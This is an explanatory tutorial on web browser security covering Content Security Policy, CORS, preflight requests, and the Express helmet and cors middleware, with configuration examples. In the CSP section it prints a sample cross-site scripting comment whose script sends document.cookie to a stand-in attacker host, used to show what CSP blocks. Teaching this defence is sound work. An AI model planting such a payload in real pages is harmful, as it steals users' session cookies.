Content Security

When users load a web page, they’re placing an enormous amount of trust in the site they’re visiting. They trust that the code the page runs won’t steal their personal data, hijack their session, or infect their device. They also trust that the content comes from who it claims to come from. But what happens when attackers try to exploit this trust? How can developers defend their sites and users from these kinds of threats?

This section introduces two powerful browser-based security mechanisms: Content Security Policy (CSP) and Cross-Origin Resource Sharing (CORS). These mechanisms are designed to protect web applications from common and dangerous classes of attacks by tightly controlling how resources are loaded and shared across websites.

The Browser as a Gatekeeper

Modern browsers operate within a powerful but dangerous trust model. A browser receives HTML, CSS, JavaScript, images, and other resources from a web server and runs that code without question. The browser assumes that the server is sending code that is safe and intended. But if an attacker is able to sneak malicious code into the mix—perhaps by injecting a script into a vulnerable web page—that code runs with the same permissions as everything else on the page.

Because of this, browsers enforce a security boundary known as the same-origin policy. This policy ensures that scripts and data from one origin (defined as a combination of scheme, host, and port) can’t interact with data from another origin without explicit permission. This foundational idea prevents malicious code hosted on a random server from snooping on your online banking session.

But even with the same-origin policy in place, many attack vectors remain. Let’s take a look at the problems that CSP and CORS were designed to address.

Content Security Policy (CSP)

The most common and insidious threat that CSP defends against is Cross-Site Scripting (XSS). XSS attacks occur when attackers find a way to inject malicious JavaScript into a web page that runs in the browser of another user. These attacks can be devastating, allowing attackers to steal cookies, impersonate users, log keystrokes, or redirect users to malicious sites.

Here’s a simple example. Imagine a news website that allows users to post comments, and the site naively includes those comments directly in the page’s HTML without proper escaping. An attacker might post a comment like:

<script>
  fetch("https://attacker.com/steal?cookie=" + document.cookie)
</script>

If this comment is rendered directly into the page, any user who views it will unknowingly execute the attacker's script. The script has full access to the page, including cookies and local storage.

Content Security Policy is a browser feature that allows developers to specify exactly what sources of content are considered trustworthy. Rather than relying on the browser’s default permissiveness, CSP allows developers to write a “contract” that tells the browser:

“Only allow scripts from these specific locations. Don’t allow inline scripts. Block anything that’s not explicitly trusted.”

Here’s a basic example of a CSP header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com

This policy tells the browser to load all content from the current origin by default (default-src 'self'), but it also allows scripts from https://apis.example.com.

This simple rule would have blocked the XSS attack above in two ways:

  1. The malicious script was injected inline, and CSP can be configured to disallow inline scripts entirely.
  2. Even if the script referenced an external source, the attacker’s domain wouldn’t be on the approved list.

Other CSP Use Cases

CSP can do more than just block XSS. It can be used to:

  • Block inline style tags to prevent CSS-based injection.
  • Prevent object and embed tags from loading Flash or other risky plugins.
  • Disallow loading images or fonts from third-party sources.
  • Require secure (HTTPS) connections for all resources.

Cross-Origin Resource Sharing (CORS)

While CSP protects against malicious code being injected into your site, CORS focuses on controlling how your site’s resources are shared across different origins.

Let’s say you build a REST API at https://api.example.com, and you expect that only your frontend at https://frontend.example.com will access it. But what stops someone else from writing a rogue webpage that makes requests to your API and extracts data?

Under the same-origin policy, browsers block these cross-origin AJAX requests by default. However, there are legitimate reasons to allow cross-origin access—such as when your frontend and backend are served from different domains. That’s where CORS comes in.

CORS is a browser mechanism that uses HTTP headers to determine whether a resource on one origin can be requested by a web page from another origin.

When a browser makes a request across origins—for example, a fetch call from https://client.com to https://api.com—it sends an Origin header identifying where the request is coming from.

If https://api.com responds with this header:

Access-Control-Allow-Origin: https://client.com

Then the browser will allow the frontend to read the response. Otherwise, the browser blocks it—even if the API returns a valid response.

This means that servers are always in control of what cross-origin interactions are allowed. They can:

  • Allow specific origins (Access-Control-Allow-Origin: https://trusted.example.com)
  • Allow all origins (Access-Control-Allow-Origin: *)
  • Allow certain methods and headers (Access-Control-Allow-Methods, Access-Control-Allow-Headers)
  • Indicate whether credentials like cookies should be included (Access-Control-Allow-Credentials)

Preflight Requests

For sensitive operations—like those involving custom headers or non-GET/POST methods—the browser first sends a preflight request using the OPTIONS method to check if the real request is permitted.

If the server approves the request via headers like Access-Control-Allow-Methods and Access-Control-Allow-Headers, the browser proceeds with the actual request.

Starting Strong: Express and the helmet Middleware

When you begin securing a web application, it can feel overwhelming. There are dozens of potential vulnerabilities, headers to set, policies to define, and tools to configure. Where do you even start?

If you're building with Express, there's a surprisingly simple answer: start with Helmet.

What Is Helmet?

helmet is a middleware library for Express that helps secure your app by setting a collection of HTTP response headers. These headers tell the browser to behave more securely—avoiding common pitfalls and attack vectors that applications can be vulnerable to by default.

It’s essentially a collection of best practices, bundled together in a way that’s easy to adopt. In many cases, a single line of code can dramatically raise your app’s security baseline.

npm install helmet

And in your Express app:

const express = require('express');
const helmet = require('helmet');

const app = express();
app.use(helmet());

That’s it. You’ve just added several important protections to every HTTP response your app sends.

What Does Helmet Actually Do?

By default, Helmet enables a curated set of security-focused headers, including:

  • Content-Security-Policy (CSP): Helps prevent XSS and data injection attacks by restricting the sources of executable code.
  • X-Content-Type-Options: nosniff: Prevents browsers from trying to "guess" a file’s content type, which can lead to MIME-type confusion attacks.
  • X-DNS-Prefetch-Control: off: Disables DNS prefetching, which can leak sensitive browsing activity.
  • X-Frame-Options: DENY: Prevents your site from being loaded inside a <frame> or <iframe>, protecting against clickjacking attacks.
  • Strict-Transport-Security (HSTS): Instructs the browser to always use HTTPS, even if the user types http://.
  • Referrer-Policy: Controls how much referrer information is sent with requests.
  • Permissions-Policy (formerly Feature-Policy): Lets you control access to powerful browser features like geolocation, camera, microphone, etc.

Each of these headers closes off a different angle of attack. Some prevent script injection, others enforce encryption, and others limit how your content can be embedded or reused.

Why It’s a Smart First Step

Security is often about reducing the attack surface. Many vulnerabilities stem from the default behaviors of browsers or web servers. Helmet assumes that defaults are dangerous—and overrides them with more secure choices.

For a developer just getting started, this is invaluable. You don’t have to know all the quirks of every header or vulnerability right away. Helmet lets you secure first, then fine-tune. And you can customize each header individually as your application matures.

Here’s an example with configuration:

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", 'https://apis.example.com'],
    },
  })
);

This snippet sets a custom CSP policy, allowing scripts only from your own domain and a trusted external source.

Enabling CORS

To allow cross-origin requests to your API, use the cors package:

npm install cors

Then configure it in your app:

const cors = require('cors');

app.use(
  cors({
    origin: 'https://frontend.example.com',
    methods: ['GET', 'POST', 'PUT', 'DELETE'],
    credentials: true,
  })
);

This setup allows your API to respond to requests from a specific origin and to include cookies or authentication headers when needed.

If you want to allow any origin (not recommended for sensitive APIs):

app.use(cors());

But be cautious: Access-Control-Allow-Origin: * with credentials: true is invalid and will be rejected by browsers. Fine-tune your settings based on your threat model.

Summary

Web security is about building a system of checks and boundaries, and both CSP and CORS are powerful tools in the developer’s toolkit for enforcing those boundaries at the browser level.

  • CSP is your shield against XSS and injection attacks. It lets you define exactly what types of content can be loaded and from where, giving you a tight grip on the code that runs on your site.
  • CORS protects your backend APIs by preventing unauthorized websites from reading your data. It ensures that only trusted origins can interact with your services.

Both mechanisms, when configured correctly, raise the bar significantly for attackers and demonstrate a commitment to secure, responsible web development.